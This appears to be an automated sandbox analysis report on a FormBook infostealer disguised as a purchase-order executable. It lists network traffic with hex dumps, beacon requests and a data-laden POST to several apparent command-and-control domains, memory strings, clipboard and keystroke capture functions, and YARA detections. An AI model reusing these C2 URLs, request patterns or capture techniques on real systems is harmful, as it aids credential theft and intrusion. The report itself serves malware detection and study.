7f 8e 44 e8 64 1c 10 4d 33 65 51 eb cd ac 22 29 51 9d 22 c4 91 37 e8 89 87 fc 06 e6 4a 82 bb f4 7b 00 8a bd 48 02 dc ae c8 60 6f db de e9 43 15 29 89 db 31 14 ba 66 96 31 88 ba 3e 34 dd a6 e9 ed 97 9b 77 e9 b2 9f 83 7e 40 ce b7 19 9d 69 b7 a7 ba 0c 43 f8 e8 91 d9 25 f8 ca 23 16 2e 45 09 05 6d d1 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 4d 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a9 69 9b a7 a1 d6 a2 f1 67 91 71 d5 74 7e 78 e7 9a 70 b3 d2 c6 75 cf 8c a3 fd 42 c4 9d 1f 9e 5e d2 1a 48 26 c1 7e c0 7b 31 22 8e fa ac cd 0d ad dc d3 f5 78 10 6b d1 47 fb 2d 91 3a 6f 1b 36 64 b2 31 e4 f0 d5 91 e9 87 05 19 c5 ff c5 81 5a a8 b2 15 25 3b f9 99 d1 17 9e 33 18 0d 42 1d 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 47 d6 7a 92 eb 26 2a 4c d3 1d a3 73 fd 1b 1e 0d bd 99 d4 3a 17 8e b4 9a 54 da 3a 60 d8 b3 8d a3 4f e9 5d ba b8 ef 29 bf 2d ce f1 8c a2 ee 3a 93 07 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ee 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9a 51 15 c5 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCP*c{Z{7]gN$hf_~H/@" PA' uE6v50n][3j1X1PaDARYtr~t3FlzR*R6PF&CB+ZdQ.PTY&,vPDX*9sF(ruDdM3eQ")Q"7J{H`oC)1f1>4w~@iC%#.Eme!9-Fg&qM9GpU~P$9"GJd:Fligqt~xpuB^H&~{1"xkG-:o6d1Z%;3B <|Gz&*Ls:T:`O])-:RFBW+}c_Q0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 1271Connection: closeDate: Tue, 29 Nov 2022 09:36:47 GMTServer: ApacheX-Frame-Options: denyData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 4e 4f 57 22 20 6e 61 6d 65 3d 22 65 78 70 69 72 65 73 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 0a 20 20 3c 21 2d 2d 20 46 6f 6c 6c 6f 77 69 6e 67 20 4d 65 74 61 2d 54 61 67 20 66 69 78 65 73 20 73 63 61 6c 69 6e 67 2d 69 73 73 75 65 73 20 6f 6e 20 6d 6f 62 69 6c 65 20 64 65 76 69 63 65 73 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 3b 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 3b 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 61 72 74 6e 65 72 22 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3c 73 63 72 69 70 74 20 74 79 70 65 3d 2
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: <li><a rel="nofollow" href="https://twitter.com/hover"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" /><g transform="scale(0.3 0.3) translate(-200 -300)"><path d="m 453.82593,412.80619 c -6.3097,2.79897 -13.09189,4.68982 -20.20852,5.54049 7.26413,-4.35454 12.84406,-11.24992 15.47067,-19.46675 -6.79934,4.03295 -14.3293,6.96055 -22.34461,8.53841 -6.41775,-6.83879 -15.56243,-11.111 -25.68298,-11.111 -19.43159,0 -35.18696,15.75365 -35.18696,35.18525 0,2.75781 0.31128,5.44359 0.91155,8.01875 -29.24344,-1.46723 -55.16995,-15.47582 -72.52461,-36.76396 -3.02879,5.19662 -4.76443,11.24048 -4.76443,17.6891 0,12.20777 6.21194,22.97747 15.65332,29.28716 -5.76773,-0.18265 -11.19331,-1.76565 -15.93716,-4.40083 -0.004,0.14663 -0.004,0.29412 -0.004,0.44248 0,17.04767 12.12889,31.26806 28.22555,34.50266 -2.95247,0.80436 -6.06101,1.23398 -9.26989,1.23398 -2.2673,0 -4 equals www.twitter.com (Twitter)
Source: rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: <li><a rel="nofollow" href="https://twitter.com/hover"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" /><g transform="scale(0.3 0.3) translate(-200 -300)"><path d="m 453.82593,412.80619 c -6.3097,2.79897 -13.09189,4.68982 -20.20852,5.54049 7.26413,-4.35454 12.84406,-11.24992 15.47067,-19.46675 -6.79934,4.03295 -14.3293,6.96055 -22.34461,8.53841 -6.41775,-6.83879 -15.56243,-11.111 -25.68298,-11.111 -19.43159,0 -35.18696,15.75365 -35.18696,35.18525 0,2.75781 0.31128,5.44359 0.91155,8.01875 -29.24344,-1.46723 -55.16995,-15.47582 -72.52461,-36.76396 -3.02879,5.19662 -4.76443,11.24048 -4.76443,17.6891 0,12.20777 6.21194,22.97747 15.65332,29.28716 -5.76773,-0.18265 -11.19331,-1.76565 -15.93716,-4.40083 -0.004,0.14663 -0.004,0.29412 -0.004,0.44248 0,17.04767 12.12889,31.26806 28.22555,34.50266 -2.95247,0.80436 -6.06101,1.23398 -9.26989,1.23398 -2.2673,0 -4.47114,-0.22124 -6.62011,-0.63114 4.47801,13.97857 17.47214,24.15143 32.86992,24.43441 -12.04227,9.43796 -27.21366,15.06335 -43.69965,15.06335 -2.84014,0 -5.64082,-0.16722 -8.39349,-0.49223 15.57186,9.98421 34.06703,15.8094 53.93768,15.8094 64.72024,0 100.11301,-53.61524 100.11301,-100.11387 0,-1.52554 -0.0343,-3.04251 -0.10204,-4.55261 6.87394,-4.95995 12.83891,-11.15646 17.55618,-18.21305 z" /></g></svg></a></li> equals www.twitter.com (Twitter)
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: <li><a rel="nofollow" href="https://www.facebook.com/hover"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" /><g transform="scale(0.25 0.25) translate(30 50)"><path d="M182.409,262.307v-99.803h33.499l5.016-38.895h-38.515V98.777c0-11.261,3.127-18.935,19.275-18.935 l20.596-0.009V45.045c-3.562-0.474-15.788-1.533-30.012-1.533c-29.695,0-50.025,18.126-50.025,51.413v28.684h-33.585v38.895h33.585 v99.803H182.409z" /></g></svg></a></li> equals www.facebook.com (Facebook)
Source: rundll32.exe, 0000000B.00000002.823538055.0000000004F58000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://code.jquery.com/jquery-3.3.1.min.js
Source: rundll32.exe, 0000000B.00000002.823538055.0000000004F58000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://gmpg.org/xfn/11
Source: New PO-RJ-IN-003 - Knauf Queimados.exe String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: New PO-RJ-IN-003 - Knauf Queimados.exe String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: rundll32.exe, 0000000B.00000002.823508673.0000000004DC6000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://oonrreward.xyz/m9ae/?F6z4=LevhYPqdwsQo7WECD6x58K9v32wKr9jEH/unqFqLIkFUX6m7L7
Source: explorer.exe, 00000003.00000000.313546436.0000000000921000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.391112959.000000000091F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.361885332.000000000091F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: rundll32.exe, 0000000B.00000002.823508673.0000000004DC6000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://www.oonrreward.xyz
Source: 456b6ELMQ.11.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 456b6ELMQ.11.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: rundll32.exe, 0000000B.00000002.824187605.0000000005D7A000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css
Source: rundll32.exe, 0000000B.00000002.824187605.0000000005D7A000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://controlpanel.easyspace.com/
Source: 456b6ELMQ.11.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: rundll32.exe, 0000000B.00000003.485044441.0000000007231000.00000004.00000800.00020000.00000000.sdmp, 456b6ELMQ.11.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 456b6ELMQ.11.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://help.hover.com/home?source=parked
Source: rundll32.exe, 0000000B.00000002.824085555.0000000005BE8000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://mchost.ru/
Source: rundll32.exe, 0000000B.00000003.485044441.0000000007231000.00000004.00000800.00020000.00000000.sdmp, 456b6ELMQ.11.dr String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: rundll32.exe, 0000000B.00000003.485044441.0000000007231000.00000004.00000800.00020000.00000000.sdmp, 456b6ELMQ.11.dr String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: rundll32.exe, 0000000B.00000003.485044441.0000000007231000.00000004.00000800.00020000.00000000.sdmp, 456b6ELMQ.11.dr String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: rundll32.exe, 0000000B.00000003.485044441.0000000007231000.00000004.00000800.00020000.00000000.sdmp, 456b6ELMQ.11.dr String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: rundll32.exe, 0000000B.00000002.824187605.0000000005D7A000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://supportservices.easyspace.com/
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/hover
Source: rundll32.exe, 0000000B.00000002.824187605.0000000005D7A000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.easyspace.com/
Source: rundll32.exe, 0000000B.00000002.824187605.0000000005D7A000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.easyspace.com/assets/images/structure/easyspace-logo-main.svg
Source: rundll32.exe, 0000000B.00000003.485044441.0000000007231000.00000004.00000800.00020000.00000000.sdmp, 456b6ELMQ.11.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/about?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/domain_pricing?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.hover.com/domains/results
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/email?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/privacy?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/renew?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/tools?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/tos?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hover.com/transfer_in?source=parked
Source: rundll32.exe, 0000000B.00000002.823746464.000000000540E000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 0000000B.00000002.824795992.0000000006FA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.instagram.com/hover_domains
Source: unknown HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.gmrsnodes.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.gmrsnodes.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.gmrsnodes.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 72 79 74 59 37 68 71 32 6b 38 49 32 45 58 35 31 74 73 44 36 7e 30 75 53 52 72 4c 79 7a 30 54 75 34 6d 46 4c 76 76 77 49 7e 78 6b 7a 68 45 64 65 4a 70 4a 66 6d 36 65 52 64 30 33 53 68 47 65 6c 31 45 66 54 33 76 6a 38 45 72 46 7a 42 30 53 55 32 6e 65 33 38 51 4c 57 6f 56 49 4b 7e 46 4e 73 35 58 51 78 4a 5f 6e 66 7e 63 75 52 28 4e 63 54 4a 2d 54 4f 7a 47 4b 44 58 64 73 2d 54 39 72 4a 67 64 76 33 4b 7a 72 51 58 72 50 69 5a 32 7e 64 73 42 33 54 69 5a 36 58 4d 42 50 6f 64 4a 4d 39 59 79 77 31 36 48 77 71 6c 6b 4e 32 58 48 6a 6f 68 79 72 76 33 4e 62 61 6e 50 48 68 65 42 6b 72 46 7a 70 53 6a 51 49 78 57 42 43 76 53 30 4d 6d 78 6f 41 77 48 41 32 47 4a 72 54 70 76 70 4b 51 58 44 72 54 67 30 58 56 33 6b 37 58 6f 6b 50 69 43 73 48 6b 54 73 6b 4d 6f 49 38 36 61 59 72 54 32 61 31 73 6a 54 61 65 4a 52 47 6b 4d 6d 76 31 51 58 6d 62 52 67 64 62 62 61 65 55 6b 74 6c 58 30 61 66 64 38 6e 53 57 5a 6d 77 55 47 6d 51 33 6c 41 48 4a 57 37 7a 72 64 4c 37 47 61 43 4f 71 71 5f 5a 44 31 70 6d 70 37 5f 73 63 61 66 50 39 66 5a 38 47 59 4e 35 48 48 48 47 36 56 62 61 2d 77 71 78 53 30 47 55 66 66 31 64 48 37 76 4c 35 70 68 33 78 6c 4a 53 4c 5a 4d 34 4a 5a 75 33 38 69 37 4e 69 6c 36 70 67 48 39 46 6e 30 35 33 33 63 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=rytY7hq2k8I2EX51tsD6~0uSRrLyz0Tu4mFLvvwI~xkzhEdeJpJfm6eRd03ShGel1EfT3vj8ErFzB0SU2ne38QLWoVIK~FNs5XQxJ_nf~cuR(NcTJ-TOzGKDXds-T9rJgdv3KzrQXrPiZ2~dsB3TiZ6XMBPodJM9Yyw16HwqlkN2XHjohyrv3NbanPHheBkrFzpSjQIxWBCvS0MmxoAwHA2GJrTpvpKQXDrTg0XV3k7XokPiCsHkTskMoI86aYrT2a1sjTaeJRGkMmv1QXmbRgdbbaeUktlX0afd8nSWZmwUGmQ3lAHJW7zrdL7GaCOqq_ZD1pmp7_scafP9fZ8GYN5HHHG6Vba-wqxS0GUff1dH7vL5ph3xlJSLZM4JZu38i7Nil6pgH9Fn0533cQ).
Source: unknown DNS traffic detected: queries for: www.oonrreward.xyz
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=LevhYPqdwsQo7WECD6x58K9v32wKr9jEH/unqFqLIkFUX6m7L7+nio4XOLlDaWup3nHmZdjhK28JVchKAobJnM2R7Dp3tDlOSA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.oonrreward.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=mwF44ViOu9spAX9yiKWO/GCmf5D0pm7R930/p+8373gvxGpTfL4o/Lm9AHizqU6H72eF1eWgDLpzZ2SfuF6Kyw289k0D2VxhyA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.gmrsnodes.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=q+GqSbkO5kqO+W9u2R8uyv/azK/Tyw9Ktq6EIVL87IABA33EfP0KANVapKUQlEGAPHMNZ2Czo2C9EtWkfzzg2b9ydKIDbcUulA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.dailyheraldresearch.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=XxObD+bozu8R8o86HZokIAwRDcTSUgt1X0zVs8jY2xx2j7amGX2Nanqc4HjuSpD/F/TSiqNoyiNwTcXhTU7ob6qQALfoq6EoqQ==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.publickit.websiteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=nJLDtYwD0af/ePmsJ0ZKjiSVJI8rGVPKc+UQspc6K5yuMKQDKTWfrb6tVbro5/Rq1DJ6W8y/y+8M88qCUODrzxtLw2C30JMyEA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.lee-perez.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=pynBU+gmcVJLvmAk24XYTH3CuEH61wNq2RizpB0aNcQM45kGiq+MbQwB99t5gTqC+tvIVg5qQAlCnSYFpOBmFRnmyN3XSGsj5w==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.frwqc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=SKemUsRCc/T/1VtJMmoBZUTfzvZVAKOrpHPFHv5bIcLS1NPOIJ3jWavklE8DT12a+oeWOwZfdDSidPGYCemgiB/muCJBu0rQaA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.tommy57.shopConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=Mu7XrmbNuBpRkVuoTBGU/iHqS/OhVA7Any/uXbqYT12baRfdD/rxJiFT6KJrK4J1cV2pSA20UCfshAzQrgjlnBPfig9iswk20g==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.700544.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=la9UBuDbTkNYLSjTdKhHvd+t7tYwPiF7FtZOQELnOBzejFZlEJsWuQ55NoeYz7TqoHjnmCP3NdRIHdLBoOXytpXMXLmthCtowg==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.porggiret.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=IYAlNlE+FJHaxy8xKQwy2r7+8XL3SaTnyfpqtFACBxvA1+IYQm/X+/KTYzdsJPpQzBa/f1IulPzZtkKHtHHlpgqy4oXa9op1jw==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.tobewell.storeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=yeGgPnkUyrtnR7ayT+iAJkQi5P+hLqfzRu7/UIGlFriReHTN1+d7DIiWZVVmKJ4cvvB3dwEDWmLuBMYDpMvfxEUSQC8X9wPCmA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.new-thinking.digitalConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=19Acn/cRxsS2hMIvbksqz2Fo9/tvE3PmoTWmDY67F7eOm0DJL1plqZyOKvwSm3g2XK4MIkQK6hC8KTphNB2J9vZOQC2YpVwH6g==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.ybkos.linkConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=6mtkb9sgLdU5EKgBox+sPzjX7gz7/N2rxrRH87049IJ0dh9Tn6WPD5ftVfyzJnBGA3PJpfJHiW/BJrwPQwZWSWvRAWejN4CLLw==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.bookmygennie.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=qV5DC7gvSDrvRRGewn1q/I/EwjqoLGbs6Pm0OHOL9iW03iXh+4kaxlrb2hUer6xMCUxzC2FjXkfJjvQV3jFRWlDNN37fVrd03A==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.amspustaka.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=4ec4fK6CMrtHuja3pViXkl8dlfKAbA0cl+B6ZD+yu2XjTt2h0hV8coMCjgRVKURuW2bGAgNBkAmkGWEjBIBjWi0t+MmK3uNJiA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.spirituallyzen.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m9ae/?F6z4=LevhYPqdwsQo7WECD6x58K9v32wKr9jEH/unqFqLIkFUX6m7L7+nio4XOLlDaWup3nHmZdjhK28JVchKAobJnM2R7Dp3tDlOSA==&mN6Hg=kRq8Chx0sXs4Nnu0 HTTP/1.1Host: www.oonrreward.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0024ACE0 OpenClipboard,GetClipboardData,GlobalLock,GlobalSize,VkKeyScanW,MapVirtualKeyW,GlobalUnlock,CloseClipboard, 1_2_0024ACE0
Creates a DirectInput object (often for capturing keystrokes)
Source: rubthqnwyfue.exe, 00000004.00000000.330517070.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0024B870 GetKeyboardState, 1_2_0024B870
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00405125 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00405125

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
